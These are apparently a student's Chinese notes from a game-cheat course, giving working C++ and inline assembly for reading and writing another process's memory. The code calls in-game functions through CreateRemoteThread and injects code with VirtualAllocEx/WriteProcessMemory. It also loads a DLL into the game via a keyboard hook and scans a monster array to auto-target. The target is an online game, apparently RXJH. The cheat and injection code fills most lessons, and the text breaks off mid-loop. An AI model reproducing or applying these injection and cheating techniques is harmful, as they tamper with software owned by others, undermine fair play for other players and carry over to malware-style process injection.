7、ReadProcessMemory        //讀指定進程 內存數據

BOOL ReadProcessMemory(

  HANDLE hProcess,  //  HANDLE OpenProcess返回值

  LPCVOID lpBaseAddress,

                    // 讀取 進程起始地址 基址

  LPVOID lpBuffer,  // 存放數據的緩沖區

  DWORD nSize,      // 要讀出的字節數

  LPDWORD lpNumberOfBytesRead 

                    // 實際讀出字節數

);

 

8、WriteProcessMemory   //寫內存,參數同讀內存

    

9、SendMessage //可以軟模擬 鼠標 鍵盤操作

 

10、SetTimer 

UINT SetTimer(

  HWND hWnd,              // 指向窗口的句柄

  UINT nIDEvent,          // 定時器 標識ID

  UINT uElapse,           // 時間間隔(毫秒) 

  TIMERPROC lpTimerFunc   //回調函數

);

VOID CALLBACK TimerProc(

  HWND hwnd,     // handle of window for timer messages

  UINT uMsg,     // WM_TIMER message

  UINT idEvent,  // timer identifier

  DWORD dwTime   // 當前系統時間

);

 

11、KillTimer()

BOOL KillTimer(

  HWND hWnd,      // 指向窗口的句柄

 

  UINT uIDEvent   // 定時器 標識ID

 

);

12、SetWindowPos //HWND_TOPMOST 窗口置頂

 

控件講解:

CButton slider//滑塊控件

this->m_ctl_slider.SetRange(50,3000); //設置滑塊的 最小值 最大值

this->m_ctl_slider.SetTicFreq(150);   //分隔線 寬度

this->m_ctl_slider.SetPos(1000);      //滑塊 位置

//復選框控件

this->m_ctl_check.SetCheck(true);    //選中復選框

 

基礎知識:

a、數據類型:Bit,Byte,Word,Dword,float,double

b、用CE查找數據

c、CE工具使用技巧

d、OD調試

 

 

///////////////////////////////

 

本節課是老師對於前面內容的總結,教案寫的很詳細了.

 

老師總結,我也總結.初級班的課程我已經全部看完了, 相對於DELPHI班來講記錄的也比較仔細,相信我的記錄能夠幫助其它同學和網友,其實記錄主要就是記一下課程的內容,方便以后回憶學習.總體來講,VC班的初級教程內容比較多,相對於DELPHI班初級教程來講,游戲也復雜了些,編寫代碼就更加復雜,就算是有DELPHI基礎,想學起VC代碼來我也感覺到非常吃力.不過我也覺着這個學習的順序是對的,如果一開始就學VC,那恐怕我就沒有信心了.想起自己在D班里的感想,弄外掛,編程會則可成.

 

VC++真的很難懂,看來我要參考其它VC教程來學習了.

 

Visual C++從入門到精通完整版視頻教程  

http://bbs.yjxsoft.net/read.php?tid-1210.html

 

VC視頻教程(太平洋)

http://bbs.yjxsoft.net/read.php?tid-794.html

 

[視頻]思成VC講座

http://bbs.yjxsoft.net/read.php?tid-521.html

 

孫鑫VC視頻教程[下載]

http://bbs.yjxsoft.net/read.php?tid-182.html

 


今天我們要一起學習的是2.1.1

   2.1.1、CALL的概念(遠程調用CALL)

                a、寫個調用示例(假想游戲客戶端)

                b、用OD找CALL,初探(用OD找出我們自己寫的CALL)

                c、代碼注入器,遠程CALL調用

 

 

1、先寫一個假想的游戲客戶端.

 //VC++

 SetWindowText(h,"窗口標題");

 

char s[33];

itoa(BoolValue,s,10);//整型 轉字串

m_edt1.SetWindowText(s);

 

//找加血CALL 

1//CE找的 血值 基址:416680

2 OD硬件 斷點 hw 416680

3 //代碼注入器

call 402360 //加血

call 4023d0 //減血 40108c

call  40108c  //減血

// 

 

HANDLE CreateRemoteThread(

  HANDLE hProcess,        // OpenProcess

  LPSECURITY_ATTRIBUTES lpThreadAttributes,  // 安全結構指針 NULL

  DWORD dwStackSize,      // 0

  LPTHREAD_START_ROUTINE lpStartAddress, // 指向我們的CALL 地址

  LPVOID lpParameter,     // 傳遞的參數指針 NULL

  DWORD dwCreationFlags,  // 0

  LPDWORD lpThreadId      // 返回一個 線程ID標識

);

 

//////////////////////////////////

 

首先講一下CALL的基本知識,在VC里新建一個窗口,並增加編輯框,關聯一個控件類型的變量m_edt1

 

int BoolValue=3000;//新建一個血值,假設為3000

HWND edit_hwnd; //設置全局變量

 

然后添加如下代碼

 

void addBlood()//加血代碼

{

char s[33]; //建立緩沖變量

BoolValue+=22;//每次加22血

itoa(BoolValue,s,10); //整型轉換為10進制字符串

SetWindowText(edit_hwnd,s); //設置編輯框數值

}

void decBlood()//減血代碼

{

char s[33];

BoolValue-=22;

itoa(BoolValue,s,10);

SetWindowText(edit_hwnd,s);

}

 

 

 

那么我們就要用CE來查找這個加血和減血按鈕的CALL,打開CE,搜索一下當前的血值,再改變一下血值再搜索,如果找到的地址是綠色的,那么就證明其值是全局變量,也就是一級基址/主基址,改變一下血值,就找到其地址了,那么我們在OD里下一個內存斷點 Hw 416680 , 被斷下之后在00402385位置,向上看,我們來到函數的頭部,也就是上面全是int 3的第一句那么我們找到的加血的CALL就是402360.

 

 

 

打開代碼注入器,輸入  call 402360   發現確實加血了

同理,再查找出減血的 CALL 4023d0 

當然除此之外,在此函數頭部的上一句是一個JMP語句,而這句也可以調用

 

最后又講了一下CreateRemoteThread創建線程函數的用法,參數在上面教案里有詳解.

 

本節課講了CALL的基礎,通過自己編寫的一個小程序,讓大家明白怎么樣查找CALL和調用CALL

  

 今天我們要一起學習的是2.1.2

   2.1.2、遠程CALL調用代碼實現

                a、CreateRemoteThread API函數

                b、無參數的遠程CALL調用(代碼實現) 

 

 

 

1、先寫一個假想的游戲客戶端.

 

call 402360 //加血

call 4023d0 //減血 40108c

call  40108c  //減血

 

 

HANDLE CreateRemoteThread(

  HANDLE hProcess,        // OpenProcess

  LPSECURITY_ATTRIBUTES lpThreadAttributes,  // 安全結構指針 NULL

  DWORD dwStackSize,      // 0

  LPTHREAD_START_ROUTINE lpStartAddress, // 指向我們的CALL 地址

  LPVOID lpParameter,     // 傳遞的參數指針 NULL (stdcall)

  DWORD dwCreationFlags,  // 0

  LPDWORD lpThreadId      // 返回一個 線程ID標識 int lptid;=(LPDWORD) &lptid;

);

HWND  h=FindWindow(NULL,"Mygame");

DWORD id;LPDWORD pid=&id;

GetWindowThreadProcessId(h,Pid);

HANDLE  hp=OpenProcess(PROCESS_ALL_ACCESS,false,Pid);

DWORD tid;

CreateRemoteThread(hp,NULL,0, (LPTHREAD_START_ROUTINE)(0x402360 )  ,NULL,0,&tid);

 

 

//////////////////////////////////////////////

 

上節課我們是用的代碼注入器來調用的CALL,那么這次我們自己編寫代碼來調用CALL,這需要幾個函數的聯合運用,參數的詳解在上面的教案中.

1, FindWindow

2, GetWindowThreadProcessId

3, OpenProcess

4, CreateRemoteThread

 

新建一個窗口

 

 

具體的調用代碼如下:

 

void RemoteCall(int CallAddr)//整理出來的CALL調用函數

{

HWND  h;        //窗口變量

h=::FindWindow(NULL,"Mygame"); //查找窗口句柄需要全局標識符

DWORD id;        //進程ID

LPDWORD Pid=&id; //定義臨時變量方便調用

::GetWindowThreadProcessId(h,Pid); //取得指定窗口的進程ID 存放到變量id里邊

HANDLE  hp=OpenProcess(PROCESS_ALL_ACCESS,false,id);//獲取訪問進程權限 存放至hp

DWORD tid;       //定義臨時變量方便調用

//在進程里調用 CallAddr

CreateRemoteThread(hp,NULL,0,(LPTHREAD_START_ROUTINE)CallAddr ,NULL,0,&tid);

}

 

void CCALLDlg::OnRemoteAdd() //加血調用

{

RemoteCall(0x402360); //加血CALL   16進制寫法

}

 

void CCALLDlg::OnBTNDecBlood() //減血調用

{

RemoteCall(0x40108c );//減血CALL   16進制寫法

}

 

備注:LPTHREAD_START_ROUTINE 指向的函數是回調函數,並且必須由宿主應用程序的編寫器實現。

 

因為我有DELPHI基礎,上面的4個函數我在DELPHI當中可是經常用,所以很熟悉,我只需要了解VC中的寫法即可

  

 2.1.3、調試工具OD簡介(人物角色)血值,魔力值;

                a、CE找出當前血值偏移

                b、OD 分析出魔力值 

                c、導出游戲關鍵代碼 

 

血值 基址 0x45657F0

       +4: 魔力值

       +8: 持久力 

       +C:血值上限

       +10:魔力值上限

       +14:持久力上限 1000

       +1C:善惡度

       +18:當前經驗值

       +20:升級到下一級所需經驗值

       +24: 靈獸 持有數量 上限2

       +2C:歷練值

       +30:心

       +34:力

       +38:體

       +3C:身

 

//////////////////////////////////////////

終於要正式搞游戲了,下載RXJH吧,首先從血值入手,用CE查找當前的血值631,打兩下怪,再CE查找當前的血值564,再吃點葯,又變成631了,繼續用CE一搜就找到了,基址都是綠色的,當前搜索到的值不是綠色,那么這就是一個變量的值,還好我們找到了一個綠色地址045657F0

 

 

 

再用OD附加一下,確定此位置,顯示一下內存區域

 

 

 

通過猜測,我們找到了相關的血值上限和藍值等,詳細在上面的教案中.但是我們需要找到一級基址,我們在血值處下一個斷點,被斷在0058957C處,但是沒再繼續找,下節課再見.

 

我發現RXJH的各類偏移真的很好找,至少比50好找,如果各位朋友想練習查找基址的基本功,那就拿個別的游戲再練練手.

 

2.1.4、游戲基址概念;

                a、基址+偏移 概念

                b、讀寫內存函數 參數簡介

                c、編程實現讀出(血值,魔力值)

 

血值 基址 45657F0 :一級 全局結構變量 首地址

       +4: 魔力值 //45657F4 二級基址

       +8: 持久力 

       +C:血值上限

       +10:魔力值上限

       +14:持久力上限 1000

       +1C:善惡度

       +18:當前經驗值

       +20:升級到下一級所需經驗值

       +24: 靈獸 持有數量 上限2

       +2C:歷練值

       +30:心

       +34:力

       +38:體

       +3C:身 

 

//API函數 遠程讀取數據的方法

 

////////////////////////////////////////

 

上一節的基址還沒找完,本節課繼續,先建一個小程序用來讀取血值和魔值,我們通過API函數來讀取

 

其實就是四個函數的聯合運用,前面都有講過

1, FindWindow

2, GetWindowThreadProcessId

3, OpenProcess

4, ReadProcessMemory

 

為了方便調用, 再新建一個頭文件GameProc.h(他總願意建這個名字的)

將游戲的標題定義好#define GameCaption "YB_OnlineClient"

 

在窗口中關聯變量 m_role_bloodvalue  m_role_MagicValue

 

然后編寫具體代碼如下:

 

void CReadRoleBloodDlg::OnBtnReadblood() //讀取血值函數

{

// TODO: Add your control notification handler code here

HWND gameh=::FindWindow(NULL,GameCaption); //獲取窗口句柄

DWORD processid; //建立ID變量

::GetWindowThreadProcessId(gameh,&processid); //獲取窗口進程ID

HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid); //打開指定進程

//讀指定進程 內存數據

    DWORD byread;                                  //讀取字節數變量

LPCVOID pbase=(LPCVOID)0x45657F0;           //讀取血值的基址

LPVOID  nbuffer=(LPVOID)&m_role_bloodvalue; //存放讀出數據的緩沖區

::ReadProcessMemory(processH,pbase,nbuffer,4,&byread);//讀血值

 pbase=(LPCVOID)(0x45657F0+4);              //讀取的基址

 nbuffer=(LPVOID)&m_role_MagicValue;        //存放讀出數據的緩沖區

UpdateData(false);

}

 

 

void CReadRoleBloodDlg::OnBtnMagicValue()//讀取魔值函數

{

// TODO: Add your control notification handler code here

//獲取窗口句柄

HWND gameh=::FindWindow(NULL,GameCaption);

//獲取窗口進程ID

DWORD processid;

::GetWindowThreadProcessId(gameh,&processid);

//打開指定進程

HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid);

//讀指定進程 內存數據

    DWORD byread;

LPCVOID pbase=(LPCVOID)0x45657F0; //讀取血值的基址

 

LPVOID  nbuffer=(LPVOID)&m_role_bloodvalue; //存放讀出數據的緩沖區

 pbase=(LPCVOID)(0x45657F0+4); //讀取的基址

 nbuffer=(LPVOID)&m_role_MagicValue; //存放讀出數據的緩沖區

::ReadProcessMemory(processH,pbase,nbuffer,4,&byread);

UpdateData(false);

}

 

 

 

試驗一下血和魔已經讀取正確了,那么我們如何才能夠時時的讀取呢,還可以用以前用過的時間函數.

  

2.1.5、常用匯編指令詳解(VC++內聯匯編)

                a、Mov指令的幾種形式

                b、匯編指與高級語言的轉換

                c、push指令

 eax,ebx,ecx,edx,edi,esi;//32位=4字節

 esp,ebp;

 eax //

 ax,bx,cx,dx,di,si,sp,bp低16位 

 al,bl,cl,dl 低8位

void mycall(int x,int y)

{

_asm

{

//mov eax,33 // eax=a

//mov ebx,11 // ebx=b

//mov b,eax // b=eax

//     mov a,ebx // a=ebx

mov edi,edi

mov edi,edi

mov eax,x

mov a,eax // a=b

mov eax,y

mov b,eax

}

}

 

 

//////////////////////////////////////////////

 

本節課講解匯編基礎知識,也就是VC++內聯匯編,就是在VC代碼中直接調用匯編代碼,新建一個MFC基礎對話框,用於測試匯編代碼,並對幾個寄存器進行了介紹,先介紹一下MOV指令,添加匯編代碼在按鈕事件中:

_asm

{

Mov edi,edi

Mov edi,edi

Mov a,11

Mov b,33

}

 

測試成功之后,再來到OD里反匯編看一下

 

 

 

那么我們再來看一下PUSH指令

 

void CASM_TESTDlg::OnBtnMov() 

{

// TODO: Add your control notification handler code here

mycall(0x111a,0x222b); //stdcall

m_a=a;

m_b=b;

  UpdateData(false);

 

}

 

在OD里查找到傳參數這里,看到反匯編代碼如下,壓棧方式從右至左

 

 

 

本節課匯編還沒有講完,下節繼續.因為我學過DELPHI班,對匯編代碼懂一些,所以這節課學起來很輕松.

2.1.6、內聯匯編編程實例

                a、加法add

                b、減法sub

                c、純匯編調用函數CALL(參數的傳遞)

                d、堆棧平衡

 

 匯編指令add

 int myadd(int a,int b)//加法

{

 // return a+b;

 _asm

  { 

   mov ebx,b

   add a,ebx

  }

 return a;

}

 

 int mysub(int a,int b)//減法

{

   //return a+b;

_asm

  { 

   mov ebx,b // ebx=b;

   sub a,ebx // a=a-b;

  }

 return a;

}

_stdcall //帶參數

 

 push b

 push a

 call myadd 

 

 

////////////////////////////////////////////////

 

本節課繼續講匯編,加法指令add,減法指令sub,代碼已經在上面教案中例出.先演示了一下匯編的加法指令,又演示了減法指令.除此之外還需要帶參數的匯編調用

_asm

{

Push b

Push a

Call myadd

}

 

 

Int myadd(int a,int b)//帶參數被調用

{

_asm

{

Mov ebx,b

Add a,ebx

}

Return a;

}

 

但是這樣調用會出錯,因為堆棧不平衡了,所以還要加上代碼

 

_asm

{

Push b

Push a

Call myadd

Add esp,8

}

 

因為每PUSH一次ESP的值會減4,所以兩次PUSH之后,需要將ESP加8 . 還有一點需要知道的是,調用CALL之后,返回值都是EAX里. 然后又測試了一下減法帶參調用

  

  2.2.1、吃金創葯CALL

               a、CE工具使用技巧

               b、OD斷點F2

               c、分析CALL的參數

               d、代碼注入器測試CALL

CE:查找訪問此地址的代碼

005d89b8:mov [edx+204],eax

005d8b27:mov ecx,[edi+204]

0057433c:mov edx,[eax+4a0]

 

void usegood(int a,b,c) //使用金創葯

{

   005d89b8:mov [edx+204],eax

}

 

int usegood(int 0,int 1,int b)

{

}

 

push 0b // 金創葯分類編號

push 1

push 0

call 573720

 

 

005DA6F4  |> \8B90 08020000 MOV EDX,DWORD PTR DS:[EAX+208]

005DA6FA  |.  52            PUSH EDX                                 ;  紅葯ID號=b

005DA6FB  |.  6A 01         PUSH 1

005DA6FD  |.  6A 00         PUSH 0                                   ;  F1-F8

005DA6FF  |.  E8 1C90F9FF   CALL Client.00573720                     ;  使用物品

 

 

////////////////////////////////////////////////

 

為了講解工具的使用,今天來找一下游戲的金創葯,首先是將葯放在快捷F2上,用CE搜索一下當前的數量,然后吃一下葯我,再搜索一下當前的數量,很容易就找到這個值了.然后在該值上下訪問指針查找,發現了幾個地址005d89b8/005d8b27 然后打開我們的OD,附加到游戲進程,看一下005d89b8地址,然后下個斷點,在游戲中再吃一下葯,斷在當前地址了,我們來到當前函數的頭部下個斷,然后再吃一次葯被斷下,返回上一層,再來到這一層CALL的頭部,下斷馬上被斷了,這個不對,取消斷點. 0057433c再試一試這個地址,來到這個函數的頭部,再向上返回,終於找到了吃葯的CALL

 

 

 

直接在背包里吃葯沒斷下來,而在快捷欄上吃就斷下來了

在代碼注入器中測試如下

Push 0b 

Push 1

Push 0

Call 00573720

 

//0B是葯品ID

 

再試一下其它的葯品ID,先放在快捷鍵上

 

Push 8

Push 1

Push 0

Call 00573720

 

這節課的分析就結束了,關於找CALL,在很多游戲中都是通用的,比如這種查找背包或者查找吃葯的方法,往往是從葯品數量入手.我已經在DELPHI班”畢業”了,這節課對我來講比較簡單.

2.2.2、編寫自己的CALL測試代碼

               a、遠程分配內存空間VirtualAllocEx

               b、向游戲進程注入自己代碼

               c、CreateRomuteThread遠程調用《吃金創葯》                      

 參考:2.2.1 分析

 

原理:

  1獲得自己函數的代碼的真正起始地址

  2在游戲進程內 分配一塊內存空間 以寫入我們自己的代碼

  3用CreateRomuteThread調用我們寫入的代碼.

要注入的代碼

 

GetWindowThreadProcessId//獲取PID   

OpenProcess             //打開進程句柄

Calladdr=VirtualAllocEx //在遠程進程內分配地址

WriteProcessMemory      //寫入代碼 和參數

CreateRemoteThread      //啟用遠程CALL

WaitForSingleObject     //等遠程線程返回

GetExitCodeThread       //退出對象句柄

CloseHandle(hThread);   //關閉對象句柄

VirtualFreeEx           //釋放遠程空間

 

 

代碼部分:

 

void usegoods()

{

  _asm

push 0x16 // 金創葯分類編號

push 1

push 0

mov eax,0x573720

call eax

}

}

 

 

HWND h;//定義窗口句柄變量

h=::FindWindow(NULL,"YB_OnlineClient"); //查找窗口句柄 

LPDWORD Pid=&id;//進程ID

::GetWindowThreadProcessId(h,Pid); //取得指定窗口的進程ID 存放到變量id里邊

DWORD id; //創建線程ID變量

HANDLE  hp=OpenProcess(PROCESS_ALL_ACCESS,false,id);//獲取訪問進程權限 存放至hp

//分配一塊內存 以寫入我們自己的代碼

 LPVOID callbase=VirtualAllocEx(hp,NULL,0x3000,MEM_COMMIT |MEM_RESERVE,PAGE_EXECUTE_READWRITE);//申請頁面可讀可寫可執行

 if (callbase==NULL) {AfxMessageBox("申請空間失敗");}//加入出錯信息

 if (!::WriteProcessMemory(hp,callbase,usegoods,0x3000,NULL)) {AfxMessageBox("寫入代碼失敗");}//寫入代碼,如果返回假則顯示錯誤信息

DWORD tid;//要創建的線程ID變量

 CreateRemoteThread(hp,NULL,0,(LPTHREAD_START_ROUTINE)callbase,0,0,&tid); //遠程調用代碼

//////////////////////////////////////////////////

 

這節課講了注入代碼基礎知識,教案寫的很詳細,而且我又加上了一些注釋,相信大家都能看懂,其中函數的參數可以查閱MSDN,而且前面的課程當中也大部分都講過.在這些個函數的運用上,VC和DELPHI很相似,想起自己以前學過易語言,還用別人定義的模塊,感覺真是沒啥意思,還是要學專業一些的語言啊,或者當易語言的高手要自己寫模塊才行.

 

2.3.1、DLL動態鏈接庫構建,與調用  

            a、建立MFC動態鏈接庫dll

            b、EXE程序中調用DLL函數      

 

MFC DLL函數的創建

 .def文件與  __declspec( dllexport ) 

調用申明 

__declspec( dllimport ) int myfun(int a, int b);

AFX_MANAGE_STATE(AfxGetStaticModuleState());

#pragma   comment(lib,”mydll.lib”) 

 __declspec( dllexport ) int add(int a,int b)

 

1、創建一個MFC DLL動態鏈接庫

 int  myadd( int a,int b)

{ AFX_MANAGE_STATE(AfxGetStaticModuleState());//如果用類成員就要這句

 return a+b;

}

2、MFC EXE應用程序里邊調用 DLL函數

a、 #pragma   comment(lib,"myadd.lib"); //包函庫文件

b、__declspec( dllimport )  int  myadd( int a,int b);//固定函數格式

 

 

 

/////////////////////////////////////////////////////////

 

上節課只是簡單的介紹了一下寫內存的方法,也就是代碼注入,從本節課開始就要寫DLL掛了,因為DLL在調用游戲時比較方便.新建一個MFC的DLL,選擇標准的MFC,文件名myadd,在myadd.cpp里寫代碼:

 

CMyaddApp theApp;

int myadd(int a,int b)

{

return a+b;

}

 

然后在myadd.def中寫代碼

EXPORTS

    ; Explicit exports can Go here

     Myadd

 

再新建一個MFC的EXE文件test_myadd,然后選 工程>設置>連接,在對象庫模塊中添加”myadd.lib”

增加兩個編輯框,關聯兩個變量m_la/m_lb,然后添加代碼

__declspec( dllimport ) int myadd(int a,int b);

void CTest_myaddDlg::OnButtonAdd() 

{

UpdateData(true);

m_lr=myadd(m_la,m_lb);

UpdateData(false); 

}

 

在調試DLL的時候需要設置一下主EXE的位置

 

 

 

再試一下乘法和減法也沒問題,OK了.

 

DLL的建立格式就是這樣,要增加什么功能就自己添加好嘍.

  

 2.3.2、API與回調函數

            a、鍵盤勾子回調函數keyProc

            b、安裝函數SetupFun

            c、注入DLL至游戲進程空間

 

HHOOK SetWindowsHookEx( //鍵盤鈎子

  int idHook,        // WH_KEYBOARD

  HOOKPROC lpfn,     // Gameproc

  HINSTANCE hMod,    // DLL句柄 

  DWORD dwThreadId   // 游戲主線程ID

);

 

LRESULT CALLBACK Gameproc( //回調函數

  int code,       // hook code

  WPARAM wParam,  // 按鍵代碼

  LPARAM lParam   // 鍵盤消息信息

);

 

LRESULT CallNextHookEx( //調用下一個鈎子,恢復正常鈎子

  HHOOK hhk,      // handle to current hook

  int nCode,      // hook code passed to hook procedure

  WPARAM wParam,  // value passed to hook procedure

  LPARAM lParam   // value passed to hook procedure

);

 

 

//////////////////////////////////////////

 

這節課又新建了一次DLL復習一下昨天的課程,又增加了兩個函數的調用

 

CGameDllApp theApp;

 

LRESULT CALLBACK Gameproc(

  int code,       // hook code

  WPARAM wParam,  //按鍵代碼 =VK_F12 VK_HOME

  LPARAM lParam   // 31位為0 則是被按下

)

{ AFX_MANAGE_STATE(AfxGetStaticModuleState());//用到全局函數需要加這個宏

//比如說 按下VK_HOME 我們要做什么

if ((wParam==VK_HOME)&&((lParam&(1<<31))==0)) { AfxMessageBox("按下Home鍵"); }//檢測是否已經被按過熱鍵,並顯示提示信息.

  return CallNextHookEx(0,code,wParam,lParam);//恢復下一個鈎子

}

#define GameCaption "YB_OnlineClient"

 

void SetHook()//安裝勾子的函數

{  AFX_MANAGE_STATE(AfxGetStaticModuleState());

//獲取游戲主線程ID號

HWND gameh=FindWindow(NULL,GameCaption);//查找游戲窗口

if (gameh==0) { AfxMessageBox("未找到游戲");}//出錯處理

DWORD tid=::GetWindowThreadProcessId(gameh,NULL);//獲取線程ID

    ::SetWindowsHookEx(WH_KEYBOARD,&Gameproc,::GetModuleHandle("GameDll.dll"),tid); //安裝線程勾子, GetModuleHandle是獲取相應句柄

}

 

最后別忘了在GameDll.def中將SetHook函數導出.這樣動態鏈接庫的部分基本上就構建完了,再來寫一下EXE部分.還是建立一個MFC,建立一個”安裝游戲函數”的按鈕,編寫代碼如下:

 

__declspec( dllimport ) void SetHook();//先聲明

#pragma   comment(lib,"Gamedll.lib") //加入DLL連接

void CGamewgDlg::OnBUTTONSetHook() //按鈕命令

{

SetHook(); //調用 SetHook

}

 

將EXE文件復制到DLL目錄中進行測試,打開游戲,按一下鍵盤上的鍵,打開360發現已經附加上DLL文件了,再設置一下熱鍵為HOME鍵,然后彈出了對話框.

 

 

  

  2.3.3、DLL中構建窗口 

            a、DLL中插入窗口資源

            b、在游戲內創建DLL窗口

            c、DLL內CALL代碼書寫(以吃紅葯為例)

CWGForm *gameform;//定義窗口類指針

if (gameform==NULL) { gameform=new CWGForm;//分配內存大小

                   gameform->Create(IDD_DLG_MAIN); //創建窗口實例}

::ExitInstance()

intCGameDllApp::ExitInstance()

{

    delete gameform;//釋放相應內存空間

 gameform=NULL;

return CWinApp::ExitInstance();//winApp基類函數

}

 

 

 void usegoods()

{

  _asm

push 0x16 //  物品背包數組下標

push 1

push 0

mov eax,0x573720

call eax                              

}

}

 

////////////////////////////////////////////////////

 

在DLL代碼中插入一個窗口,然后添加幾個復選框,在GameDll.cpp里加入頭文件#include "WGForm.h",再定義一個全局變量CWGForm *gameform,再在DLL代碼中添加創建窗口代碼

 

int CGameDllApp::ExitInstance()//退出時釋放DLL,否則游戲會影響

{

    delete gameform;//釋放相應內存空間

  gameform=NULL;

return CWinApp::ExitInstance();//winApp基類函數

}

 

CGameDllApp theApp;

 

LRESULT CALLBACK Gameproc(

  int code,       // hook code

  WPARAM wParam,  //按鍵代碼 =VK_F12 VK_HOME

  LPARAM lParam   // 31位為0 則是被按下

)

{ AFX_MANAGE_STATE(AfxGetStaticModuleState());

//比如說 按下VK_HOME 我們要做什么

if ((wParam==VK_HOME)&&((lParam&(1<<31))==0)) 

if (gameform==NULL) { gameform=new CWGForm;gameform->Create(IDD_DLG_MAIN);}

 gameform->ShowWindow(true);//顯示窗口

}

  return CallNextHookEx(0,code,wParam,lParam);

}

#define GameCaption "YB_OnlineClient"

//安裝勾子的函數

void SetHook()

{  AFX_MANAGE_STATE(AfxGetStaticModuleState());

//獲取游戲主線程ID號

HWND gameh=FindWindow(NULL,GameCaption); //FindWindow

if (gameh==0) { AfxMessageBox("未找到游戲");}

//GetWindowThreadProcessID

DWORD tid=::GetWindowThreadProcessId(gameh,NULL);

   //安裝線程勾子

::SetWindowsHookEx(WH_KEYBOARD,&Gameproc,::GetModuleHandle("GameDll.dll"),tid);

}

 

還要在頭文件里加上代碼

 

class CGameDllApp : public CwinApp//退出時的代碼

{

public:

CGameDllApp();

    int ExitInstance();//表示動態鏈接庫退出的時候

DECLARE_MESSAGE_MAP()

};

 

 

再測試一下吃紅葯

 

 

void CWGForm::OnBUTTONCAllTEST() 

{

  _asm

push 3 // 物品背包 數組下標 0開始(表示第一格)

push 1

push 0

mov eax,0x573720

call eax

}

 

}

 

前面課程當中第一個PUSH說的是葯品ID,其實應該是背包數組下標.

 

隨筆:通過前面的代碼我們已經可以用CALL來調用游戲了,這比遠程注入代碼要方便多了,而且DLL也屬於高級技術,我學DELPHI班之后就算寫掛也只是會遠程寫內存,看來我也要在DLL方面深造一下了.

  2.4.1、找怪物列表基址

           a、選定怪ID

           b、怪物數組基址

           c、怪物數組大小

  mov edx,43333

  mov [95e800+eax*4],??? //GameBase[eax]

  

////////////////////

  mov eax,43333

  mov [eax],???

  add eax,4 // DWORD long  for (i=1;i<200;i++)

//選中怪對象

 選中怪時 肯定存在一個值怪對象基址 怪對象ID號

 換怪時  怪對象 怪對象ID號

1、未知初始化數值

2、更改的數值

3、未更改的數值

 

44b9f6:mov eax,[ebx+1530]//怪ID號的偏移 

44bA03: mov ecx,[eax*4+0599a110]

dd [i*4+0599a110] //0599a110對象數組基址

+C: 數組下標

 

[5993E80]+1530 //當前選中怪ID//對象數組下標

 

////////////////////////////////////////////

 

今天要找的是怪物列表,數組的匯編代碼很常見的一種就是 edx+eax*4 等等,一般我們找怪物數組是先從當前選中怪入手,因為當前選中怪后其值一定會在內存的地址中,當再換一個怪后其值會變,如果沒有選中怪則為空.有的時候找到的是怪對象,有的時候是怪物ID.

先用CE查找一下當前的選中怪(未知數值),然后換另一個怪,再查找改變的數值,這樣查找多次之后找出了幾個地址很像,然后在CE里下內在訪問,記一下訪問地址44b9f6,在CE里顯示一下反匯編 mov eax,[ebx+00001530] ,那么在這一句的下面 mov ecx,[eax*4+0599a110]這就是數組訪問方式了,我們在OD里附加游戲,來到這個地址看一下,發現這里像是一群怪物的對象

 

 

我們隨便找一個地址看一下,發現了許多怪物相關的信息,所以看起來我們找到的這群怪物對象確實像遍歷當前怪物的數組.那么從上往下查找怪物對象里面的信息,通過分析發現+C這里就是數組的下標,那么我們再來找一下基址,也就是mov eax,[ebx+00001530]這句中EBX的來源,我們向上找一直到函數頭部,再返回到上一層,發現EDX是[ECX]的來源,再繼續向上找ECX,再繼續向上找不太好找,所以我們用CE來查找.

 

先看一下當前EBX里的值,放到CE里搜索16進制數值,竟然發現了很多綠色的基址,但是不知道哪一個是正確的.我們來換一個怪物,看其值會不會變化,沒有變化,那么我們再退出游戲重新進一次,看這些值是否會變化.發現這些地址都很像,因為前面數組是0599****開頭的,所以我們就選這個05993E80比較接近,

  

  2.4.2、分析怪對象屬性

           a、怪對象ID

           b、怪與玩家距離

           c、怪物死亡狀態

           d、怪物分類編號

參考2.4.1

[5993E80]+1530 //當前選中怪ID//對象數組下標

               //寫入怪下標

         =0000FFFF 時未選中怪

         =對象數組下標

[i*4+0599a110] //0599a110對象數組基址

 +C: 在對象數組中下標值

 

 

[i*4+0599a110]怪物對象屬性:

+8 :有可能是對象分類 怪是2E //,31,18,20,22

+C :數組下標

+31C:到當前玩家距離

+320:怪物名字

+378:怪死亡 <>0

+37C:怪死亡 <>0

+380:怪死亡 <>0

 

CE鎖定選中怪ID

 

 

/////////////////////////

 

找到上節課的地址+偏移[5993E80]+1530,發現其值為0000FFFF時是未選中怪,當我們選中一個怪后就變成了00000D59,發現這個值是對象數組的下標,我們在OD里下 dd [0d59*4+0599a110],找到這個對象之后,又繼續找出了相應的偏移值,各類值地址已經在教案中例出了.找怪物與人物的坐標地址,用浮點數查看,來到+31C這里,發現比較像.下面繼續查找怪物的死亡狀態,猜測是一個比較小的值,因為殺了怪之后就不方便分析,所以我們用CE來鎖定當前選中的怪,一點一點的向下查找,發現了378/37C/380的偏移地址會隨着怪物的死亡而發生改變.還是要繼續分析怪物的名字,還是在這個地址下dc  [0d59*4+0599a110],向下找發現+320的地址就是怪物的名字.

 

看老師講的比較輕松,如果真讓自己找的話,就不容易了.

 

 2.4.3、遍歷怪物列表       

             a、選怪關鍵代碼

             b、定位一個怪對象

             c、選怪功能實現

/遍歷 [i*4+0599a110] 數組

//+8 :有可能是對象分類 怪是2E 

//+C :數組下標

//+31C:到當前玩家距離

//+380:怪死亡 <>0

int* b8,*bc,*b380;//定義偏移變量

float *b31c;//坐標變量,浮點型

int* pb;//定義指針對象

for (int i=0x0599a110;i<(0x0599a110+0x0FFF*4);i+=4)//每次增加4字節

{ pb=(int*)i;//遍歷變量

  b8=(int*)(*pb+0x8);//偏移8,怪物分類

  bc=(int*)(*pb+0xc);//偏移0C,數組下標

  b31c=(float*)(*pb+0x31c);//偏移31C,坐標距離

  b380=(int*)(*pb+0x380);//偏移380,死亡標識

if ((*b8==0x2E )&&(*b31c<=100)&&(*b380==0))//查找符合條件的怪物

{

//選怪[[0x5993E80]+1530 ]=*bc;優化改進 顯示怪血條

pb=(int*)0x5993E80;

pb=(int*)(*pb+0x1530);

*pb=*bc;

return ;

} // end if

}//end for

 

 

 

 

//////////////////////純匯編 選怪代碼

// TODO: Add your control notification handler code here

//[i*4+0599a110]怪物對象屬性:

for (int  i=0x0599a110;i<(0x0599a110+0x0dff*4);i+=4)

